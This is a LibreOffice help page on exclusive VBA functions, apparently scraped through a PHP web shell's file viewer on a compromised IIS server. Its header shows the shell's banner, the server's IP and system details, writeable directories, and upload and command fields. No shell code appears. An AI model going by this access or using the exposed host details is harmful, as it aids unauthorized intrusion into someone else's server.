403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.133
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared//special_vba_func.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Exclusive VBA functions</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<a name="exclusive_vba_functions"></a>
<a name="bm_id051920170350145208"></a>
<meta itemprop="keywords" content="VBA Functions,Introduction">


<h1 id="hd_id051820170313205718" dir="auto">
<a name="exclusivevba"></a>Exclusive VBA Functions and Statements</h1>
<p id="par_id051820170314436068" class="paragraph" dir="auto"><span class="avis">LibreOffice Basic adds this set of functions when VBA support is enabled.</span></p>

<p id="hd_id051820170407499827" class="paragraph" dir="auto">These exclusive VBA functions are enabled when the statement <span class="literal">Option VBASupport 1</span> is placed before the first macro of a LibreOffice Basic module. </p>

<a name="vbastatements"></a>
<a name="bm_id71543455697570"></a>
<meta itemprop="keywords" content="VBA Statements">

    <h2 id="hd_id31543446449360" dir="auto">VBA Statements</h2>
    
    <div class="embedded">
<a name="classmodulefunction"></a>
          <h2 id="N0083" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/classmodule.html">Option ClassModule Statement</a></h2>
          <p id="N0084" class="paragraph" dir="auto">Specifies that the module is a class module that contains members, properties, procedures and functions.</p>
      </div>
    <div class="embedded">
<a name="optionVBASupport"></a>

<h2 id="hd_id3145090" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03103350.html">Option VBASupport Statement</a></h2>
<p id="par_id3148538" class="paragraph" dir="auto">Specifies that LibreOffice Basic will support some VBA statements, functions and objects.</p>
</div>
    <div class="embedded">
<a name="enumheading"></a>
        <h2 id="hd_id221543446540070" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/enum.html">Enum Statement [VBA]</a></h2>
        <p id="N0003" class="paragraph" dir="auto">Define enumerations or non UNO constant groups. An enumeration is a value list that facilitates programming and eases code logic review.</p>
    </div>


<a name="VBAString"></a>
<a name="bm_id05192017035621676"></a>
<meta itemprop="keywords" content="VBA Functions,Text Functions">

<h2 id="par_id051820170355592834" dir="auto">Text functions</h2>
<div class="embedded">
<a name="ascw"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03120111.html">AscW Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the Unicode value of the first character in a string expression.</p>
</div>
<div class="embedded">
<a name="chrw"></a>


<h2 id="hd_id3149205" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03120112.html">ChrW Function [VBA]</a></h2>
<p id="par_id3153311" class="paragraph" dir="auto">Returns the Unicode character that corresponds to the specified character code.</p>
</div>
<div class="embedded">
<a name="instrrev"></a>



<h2 id="hd_id3155934" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03120411.html">InStrRev Function [VBA]</a></h2>
<p id="par_id3153990" class="paragraph" dir="auto">Returns the position of a string within another string, starting from the right side of the string. </p>
</div>
<div class="embedded">
<a name="strreverse"></a>

<h2 id="hd_id3155934" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03120412.html">StrReverse Function [VBA]</a></h2>
<p id="par_id3153990" class="paragraph" dir="auto">Returns the string with the character order reversed.</p>
</div>
<div class="embedded">
<a name="vbastrconv"></a>
    <h2 id="hd_id791622761498015" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/strconv.html">StrConv Function</a></h2>
    <p id="par_id621622761498018" class="paragraph" dir="auto"><a name="variable%20name"></a>Convert a string as specified by a conversion type.</p>
</div>


<a name="VBAFinancial"></a>
<a name="bm_id051920170357078705"></a>
<meta itemprop="keywords" content="VBA Functions,Financial Functions">

<h2 id="par_id051820170355592581" dir="auto">Financial functions</h2>
<div class="embedded">
<a name="ddb"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140000.html">DDB Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the depreciation of an asset for a specified period using the arithmetic-declining method.</p>
</div>
<div class="embedded">
<a name="fv"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140001.html">FV Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the future value of an investment based on periodic, constant payments and a constant interest rate (Future Value).</p>
</div>
<div class="embedded">
<a name="ipmt"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140002.html">IPmt Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Calculates the periodic amortizement for an investment with regular payments and a constant interest rate.</p>
</div>
<div class="embedded">
<a name="irr"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140003.html">IRR Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Calculates the internal rate of return for an investment.</p>
</div>
<div class="embedded">
<a name="mirr"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140004.html">MIRR Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Calculates the modified internal rate of return of a series of investments.</p>
</div>
<div class="embedded">
<a name="nper"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140005.html">NPer Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Calculates the number of periods for a loan or investment.</p>
</div>
<div class="embedded">
<a name="npv"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140006.html">NPV Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Calculates the Net Present Value of an investment, based on a supplied discount rate, and a series of deposits and withdrawals.</p>
</div>
<div class="embedded">
<a name="pmt"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140007.html">Pmt Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Calculates the constant periodic payments for a loan or investment.</p>
</div>
<div class="embedded">
<a name="ppmt"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140008.html">PPmt Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns for a given period the payment on the principal for an investment that is based on periodic and constant payments and a constant interest rate.</p>
</div>
<div class="embedded">
<a name="pv"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140009.html">PV Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the Present Value of an investment resulting from a series of regular payments.</p>
</div>
<div class="embedded">
<a name="rate"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140010.html">Rate Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the interest rate of a loan or an investment.</p>
</div>
<div class="embedded">
<a name="sln"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140011.html">SLN Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the straight-line depreciation of an asset for one period. The amount of the depreciation is constant during the depreciation period.</p>
</div>
<div class="embedded">
<a name="syd"></a>



<h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03140012.html">SYD Function [VBA]</a></h2>
<p id="par_id3151384" class="paragraph" dir="auto">Returns the arithmetic-declining depreciation rate.</p>
</div>


<a name="VBADateTime"></a>
<a name="bm_id051920170358102074"></a>
<meta itemprop="keywords" content="VBA Functions,Date and Time Functions">

<h2 id="par_id051820170356005357" dir="auto">Date and time functions</h2>
<div class="embedded">
<a name="FormatDateTime"></a>
        

        <h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03150000.html">FormatDateTime Function [VBA]</a></h2>
        <p id="par_id3151384" class="paragraph" dir="auto">Applies a date and/or time format to a date expression and returns the result as a string.</p>
    </div>
<div class="embedded">
<a name="MonthName"></a>
        

        <h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03150002.html">MonthName Function [VBA]</a></h2>
        <p id="par_id3151384" class="paragraph" dir="auto">The MonthName function returns the localized month name of a specified month number.</p>
    </div>
<div class="embedded">
<a name="WeekdayName"></a>
        

        <h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03150001.html">WeekdayName Function [VBA]</a></h2>
        <p id="par_id3151384" class="paragraph" dir="auto">The WeekdayName function returns the weekday name of a specified day of the week.</p>
    </div>


<a name="VBAIO"></a>
<a name="bm_id051920170358002074"></a>
<meta itemprop="keywords" content="VBA Functions,I/O Functions">


<h2 id="par_id051820170356006501" dir="auto">I/O Functions</h2>
<div class="embedded">
<a name="Input"></a>
    
    <h2 id="hd_id141626276767913" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03160000.html">Input Function [VBA]</a></h2>
    <p id="par_id3151384" class="paragraph" dir="auto">Returns the open stream of an Input or Binary file (String).</p>
  </div>


<a name="VBAMath"></a>
<a name="bm_id051920170358346963"></a>
<meta itemprop="keywords" content="VBA Functions,Mathematical Functions">
<meta itemprop="keywords" content="VBA Functions,formatting numbers">
<meta itemprop="keywords" content="VBA Functions,partitioning numbers">

<h2 id="par_id051820170356005221" dir="auto">Mathematical Functions</h2>
<div class="embedded">
<a name="Round"></a>
    
    <h2 id="hd_id3150499" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03170000.html">Round Function [VBA]</a></h2>
    <p id="par_id3151384" class="paragraph" dir="auto">Rounds a numeric value to a specified number of decimal digits.</p>
  </div>
<div class="embedded">
<a name="formatnumber"></a>
        
        
        <h2 id="hd_id871542193473857" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03170010.html">FormatNumber [VBA]</a></h2>
        <p id="par_id351542193473858" class="paragraph" dir="auto">Returns a string with a number formatting applied to a numeric expression.</p>
    </div>
<div class="embedded">
<a name="formatPercent"></a>
        
        
        <h2 id="hd_id871542193473857" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03170020.html">FormatPercent [VBA]</a></h2>
        <p id="par_id351542193473858" class="paragraph" dir="auto">Returns a string with a number formatting applied to a numeric expression. A percent sign is appended to the returned string.</p>
    </div>
<div class="embedded">
<a name="vbapartition"></a>
        
        <h2 id="hd_id171548419512929" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/partition.html">Partition Function [VBA]</a></h2>
        <p id="par_id461548419700445" class="paragraph" dir="auto">Returns a string indicating where a number occurs within a calculated series of ranges.</p>
    </div>


<a name="VBAObject"></a>
<a name="bm_id051920170359045662"></a>
<meta itemprop="keywords" content="VBA Functions,Object Properties and Methods">

<h2 id="hd_id051920170347039686" dir="auto">Object Properties and Methods</h2>
<div class="embedded">
<a name="VBAErrObject"></a>
      
     <h2 id="N0011" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/ErrVBA.html">Err Object [VBA]</a></h2>
     <p id="N0012" class="paragraph" dir="auto">Use VBA <span class="literal">Err</span> object to raise or handle runtime errors.</p>
     </div>

</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/special_vba_func.xhp" target="_blank">/text/sbasic/shared/special_vba_func.xhp</a></p>
<p dir="auto">Title is: Exclusive VBA functions</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit